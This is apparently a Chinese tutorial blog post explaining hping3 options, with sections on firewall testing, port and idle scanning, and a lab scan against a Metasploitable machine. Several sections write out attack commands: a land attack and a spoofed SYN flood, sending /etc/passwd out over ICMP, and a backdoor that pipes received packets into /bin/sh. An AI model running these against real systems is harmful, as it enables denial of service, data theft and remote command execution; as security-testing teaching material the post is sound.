hping3功能以及引數介紹
hping3功能以及引數介紹
1.hping3
hping 是面向命令列的用於生成和解析TCP/IP協議資料包彙編分析的開源工具。
目前最新版是hping3,它支援TCP,UDP,ICMP,和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的通道之間傳送檔案以及許多其他功能.
hping3是安全審計,防火牆測試等工作的標配工具,haping優勢在於能夠定製資料包的各個部分,因此使用者可以靈活對目標機經行細緻的探測.
2.hping3用法
格式:
hping3 host [options]
引數縮寫 | 引數 | 描述 |
---|---|---|
-h | –help | 顯示幫助 |
-v | –version | 顯示版本 |
-c | –count | 傳送資料包的數目 |
-i | –interval | 傳送資料包間隔的時間 (uX即X微秒, 例如: -i u1000) |
–fast | 等同 -i u10000 (每秒10個包) | |
–faster | 等同 -i u1000 (每秒100個包) | |
–flood | 盡最快傳送資料包,不顯示回覆。 | |
-n | –numeric | 數字化輸出,象徵性輸出主機地址。 |
-q | –quiet | 安靜模式 |
-I | –interface | 網路卡介面 (預設路由介面) |
-V | –verbose | 詳細模式 |
-D | –debug | 除錯資訊 |
-z | –bind | 繫結ctrl+z到ttl(預設為目的埠) |
-Z | –unbind | 取消繫結ctrl+z鍵 |
–beep | 對於接收到的每個匹配資料包蜂鳴聲提示 |
3.模式選擇
編號 | 模式 | 描述 |
---|---|---|
default mode | TCP | 預設模式是 TCP |
-0 或 --rawip | RAWIP模式,原始IP模式 | 在此模式下HPING會傳送帶資料的IP頭。即裸IP方式。使用RAWSOCKET方式。 |
-1 或 --icmp | ICMP模式 | 此模式下HPING會傳送IGMP應答報,你可以用–ICMPTYPE --ICMPCODE選項傳送其他型別/模式的ICMP報文。 |
-2 或 --udp | UDP 模式 | 預設下,HPING會傳送UDP報文到主機的0埠,你可以用–baseport --destport --keep選項指定其模式。 |
-8 或 --scan | SCAN mode | 掃描模式 指定掃描對應的埠。Example: hping --scan 1-30,70-90 -S www.target.host // 掃描 |
-9 或 --listen | listen mode | 監聽模式 |
4. IP 模式
引數縮寫 | 引數 | 描述 |
---|---|---|
-a | –spoof | spoof source address //源地址欺騙。偽造IP攻擊,防火牆就不會記錄你的真實IP了,當然回應的包你也接收不到了。 |
–rand-dest | random destionation address mode. see the man. // 隨機目的地址模式。詳細使用 man 命令 | |
–rand-source | random source address mode. see the man. // 隨機源地址模式。詳細使用 man 命令 | |
-t | –ttl | ttl (預設 64) //修改 ttl 值 |
-N | –id | id (預設 隨機) // hping 中的 ID 值,預設為隨機值 |
-W | –winid | 使用win* id位元組順序 //使用winid模式,針對不同的作業系統。UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。 |
-r | –rel | 相對id欄位(估計主機流量) //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。 |
-f | –frag | 拆分資料包更多的frag. (may pass weak acl) //分段,可以測試對方或者交換機碎片處理能力,預設16位元組。 |
-x | –morefrag | 設定更多的分段標誌 // 大量碎片,淚滴攻擊。 |
-y | –dontfrag | 設定不分段標誌 // 傳送不可恢復的IP碎片,這可以讓你瞭解更多的MTU PATH DISCOVERY。 |
-g | –fragoff | set the fragment offset // 設定斷偏移。 |
-m | –mtu | 設定虛擬最大傳輸單元, implies --frag if packet size > mtu // 設定虛擬MTU值,當大於mtu的時候分段。 |
-o | –tos | type of service (default 0x00), try --tos help // tos欄位,預設0x00,盡力而為? |
-G | –rroute | includes RECORD_ROUTE option and display the route buffer // 記錄IP路由,並顯示路由緩衝。 |
–lsrr | 鬆散源路由並記錄路由 // 鬆散源路由 | |
–ssrr | 嚴格源路由並記錄路由 // 嚴格源路由 | |
-H | –ipproto | 設定IP協議欄位,僅在RAW IP模式下使用 //在RAW IP模式裡選擇IP協議。設定ip協議域,僅在RAW ip模式使用。 |
5. ICMP 模式
引數縮寫 | 引數 | 描述 |
---|---|---|
-C | –icmptype | icmp型別(預設echo請求) // ICMP型別,預設回顯請求。 |
-K | –icmpcode | icmp代號(預設0) // ICMP程式碼。 |
–force-icmp | 傳送所有icmp型別(預設僅傳送支援的型別) // 強制ICMP型別。 | |
–icmp-gw | 設定ICMP重定向閘道器地址(預設0.0.0.0) // ICMP重定向 | |
–icmp-ts | 等同 --icmp --icmptype 13 (ICMP 時間戳) // icmp時間戳 | |
–icmp-addr | 等同 --icmp --icmptype 17 (ICMP 地址子網掩碼) // icmp子網地址 | |
–icmp-help | 顯示其他icmp選項幫助 // ICMP幫助 |
6. UDP/TCP 模式
引數縮寫 | 引數 | 描述 |
---|---|---|
-s | –baseport | base source port (default random) // 預設隨機源埠 |
-p | –destport | [+][+] destination port(default 0) ctrl+z inc/dec // 預設隨機源埠 |
-k | –keep | keep still source port // 保持源埠 |
-w | –win | winsize (default 64) // win的滑動視窗。windows傳送位元組(預設64) |
-O | –tcpoff | set fake tcp data offset (instead of tcphdrlen / 4) // 設定偽造tcp資料偏移量(取代tcp地址長度除4) |
-Q | –seqnum | shows only tcp sequence number // 僅顯示tcp序列號 |
-b | –badcksum | (嘗試)傳送具有錯誤IP校驗和資料包。許多系統將修復傳送資料包的IP校驗和。所以你會得到錯誤UDP/TCP校驗和。 |
-M | –setseq | 設定TCP序列號 |
-L | –setack | 設定TCP的ack ------------------------------------- (不是 TCP 的 ACK 標誌位) |
-F | –fin | set FIN flag |
-S | –syn | set SYN flag |
-R | –rst | set RST flag |
-P | –push | set PUSH flag |
-A | –ack | set ACK flag ------------------------------------- (設定 TCP 的 ACK 標誌 位) |
-U | –urg | set URG flag // 一大堆IP抱頭的設定。 |
-X | –xmas | set X unused flag (0x40) |
-Y | –ymas | set Y unused flag (0x80) |
–tcpexitcode | 使用last tcp-> th_flags作為退出碼 | |
–tcp-mss | 啟用具有給定值的TCP MSS選項 | |
–tcp-timestamp | 啟用TCP時間戳選項來猜測HZ/uptime |
7.Common //通用設定
引數縮寫 | 引數 | 描述 |
---|---|---|
-d | –data | data size (default is 0) // 傳送資料包大小,預設是0。 |
-E | –file | 檔案資料 |
-e | –sign | 新增“簽名” |
-j | –dump | 轉儲為十六進位制資料包 |
-J | 轉儲為可列印字元 | |
-B | –safe | 啟用“安全”協議 |
-u | –end | 告訴你什麼時候–file達到EOF並防止倒回 |
-T | –traceroute | traceroute模式(等同使用 --bind 且–ttl 1) |
–tr-stop | 在traceroute模式下收到第一個不是ICMP時退出 | |
–tr-keep-ttl | 保持源TTL固定,僅用於監視一跳 | |
–tr-no-rtt | 不要在跟蹤路由模式下計算/顯示RTT資訊 ARS包描述(新增功能,不穩定)ARS packet description (new, unstable) | |
–apd-send | 傳送APD描述資料包(參見docs / APD.txt) |
8. Hping3 功能
8.1 防火牆測試
使用Hping3指定各種資料包欄位,依次對防火牆進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html
測試防火牆對ICMP包的反應、是否支援traceroute、是否開放某個埠、對防火牆進行拒絕服務攻擊(DoS attack)。例如,以LandAttack方式測試目標防火牆(Land Attack是將傳送源地址設定為與目標地址相同,誘使目標機與自己不停地建立連線)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
8.2 埠掃描
Hping3也可以對目標埠進行掃描。Hping3支援指定TCP各個標誌位、長度等資訊。以下示例可用於探測目標機的80埠是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0埠,-S指定TCP包的標誌位SYN,-p 80指定探測的目的埠。
hping3支援非常豐富的埠探測方式,nmap擁有的掃描方式hping3幾乎都支援(除開connect方式,因為Hping3僅傳送與接收包,不會維護連線,所以不支援connect方式探測)。而且Hping3能夠對傳送的探測進行更加精細的控制,方便使用者微調探測結果。當然,Hping3的埠掃描效能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量埠進行掃描。
8.3 Idle掃描
Idle掃描(Idle Scanning)是一種匿名掃描遠端主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發明的,目前Idle掃描在Nmap中也有實現。
該掃描原理是:尋找一臺idle主機(該主機沒有任何的網路流量,並且IPID是逐個增長的),攻擊端主機先向idle主機傳送探測包,從回覆包中獲取其IPID。冒充idle主機的IP地址向遠端主機的埠傳送SYN包(此處假設為SYN包),此時如果遠端主機的目的埠開放,那麼會回覆SYN/ACK,此時idle主機收到SYN/ACK後回覆RST包。然後攻擊端主機再向idle主機傳送探測包,獲取其IPID。那麼對比兩次的IPID值,我們就可以判斷遠端主機是否回覆了資料包,從而間接地推測其埠狀態。
8.4 拒絕服務攻擊
使用Hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連線,偽造源地址為192.168.10.99,並使用1000微秒的間隔傳送各個SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構建出來。
8.5 檔案傳輸
Hping3支援通過TCP/UDP/ICMP等包來進行檔案傳輸。相當於藉助TCP/UDP/ICMP包建立隱祕隧道通訊。實現方式是開啟監聽埠,對檢測到的簽名(簽名為使用者指定的字串)的內容進行相應的解析。在接收端開啟服務:
hping3 192.168.1.159–listen signature --safe --icmp
監聽ICMP包中的簽名,根據簽名解析出檔案內容。
在傳送端使用簽名打包的ICMP包傳送檔案:
hping3 192.168.1.108–icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼檔案通過ICMP包傳給192.168.10.44主機。傳送包大小為100位元組(-d 100),傳送簽名為signature(-sign signature)。
8.6 木馬功能
如果Hping3能夠在遠端主機上啟動,那麼可以作為木馬程式啟動監聽埠,並在建立連線後開啟shell通訊。與netcat的後門功能類似。
示例:本地開啟53號UDP埠(DNS解析服務)監聽來自192.168.10.66主機的包含簽名為signature的資料包,並將收到的資料呼叫/bin/sh執行。
在木馬啟動端:
hping3 192.168.10.66–listen signature --safe --udp -p 53 | /bin/sh
在遠端控制端:
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的檔案加上簽名signature傳送到192.168.10.44主機的53號UDP埠,包資料長度為100位元組。
9. 埠掃描測試
實驗靶機:
Windows7 IP: 192.168.214.132
Metasploitable IP: 192.168.214.133
在Kali端輸入命令:
udo hping3 -I eth0 -S 192.168.214.133 -p 80
說明通訊成功,80埠已開啟
相關文章
- Aspose.Words for .NET基本介紹以及功能介紹
- jmeter引數化介紹JMeter
- 數藏平臺功能介紹
- Rman關於filesperset引數的介紹
- mysql一些引數的介紹MySql
- impdp和expdp用法及引數介紹
- 功能介紹
- SOLIDWORKS批次改名外掛功能介紹以及使用方法Solid
- 介紹tomcat Connector 引數優化說明Tomcat優化
- mysqldump中skip-tz-utc引數介紹MySql
- HTC VIVE Pro裝置引數配置介紹
- 龍芯1A處理器引數介紹
- java基礎(九) 可變引數列表介紹Java
- StackGres 1.6 資料庫平臺工程功能介紹以及快速上手資料庫
- 變數以及八大資料型別介紹變數大資料資料型別
- FreeSql aop功能介紹SQL
- 光模組數字診斷(DDM)功能介紹
- mysql二進位制日誌的引數介紹MySql
- Linux核心引數overcommit_memory和OOM killer介紹LinuxMITOOM
- CrashSight 常規功能&特色功能介紹
- JVM引數以及用法JVM
- JZ4775晶片引數怎麼樣?JZ4775處理器引數介紹晶片
- Java 20 新功能介紹Java
- 直播商城APP功能介紹APP
- HHDESK便捷功能介紹二
- Adobe全家桶功能介紹
- HHDESK便捷功能介紹一
- Abaqus2022功能介紹
- Java 18 新功能介紹Java
- 代理ip的功能介紹
- Java 16 新功能介紹Java
- 【Oracle】Oracle logminer功能介紹Oracle
- MySQL角色(role)功能介紹MySql
- Nexus3功能介紹S3
- Flutter 常用功能介紹Flutter
- 聯發科MT7610EN WiFi晶片引數介紹WiFi晶片
- MTK MT8788處理器引數規格介紹
- MySQL change buffer介紹和相關引數調整建議MySql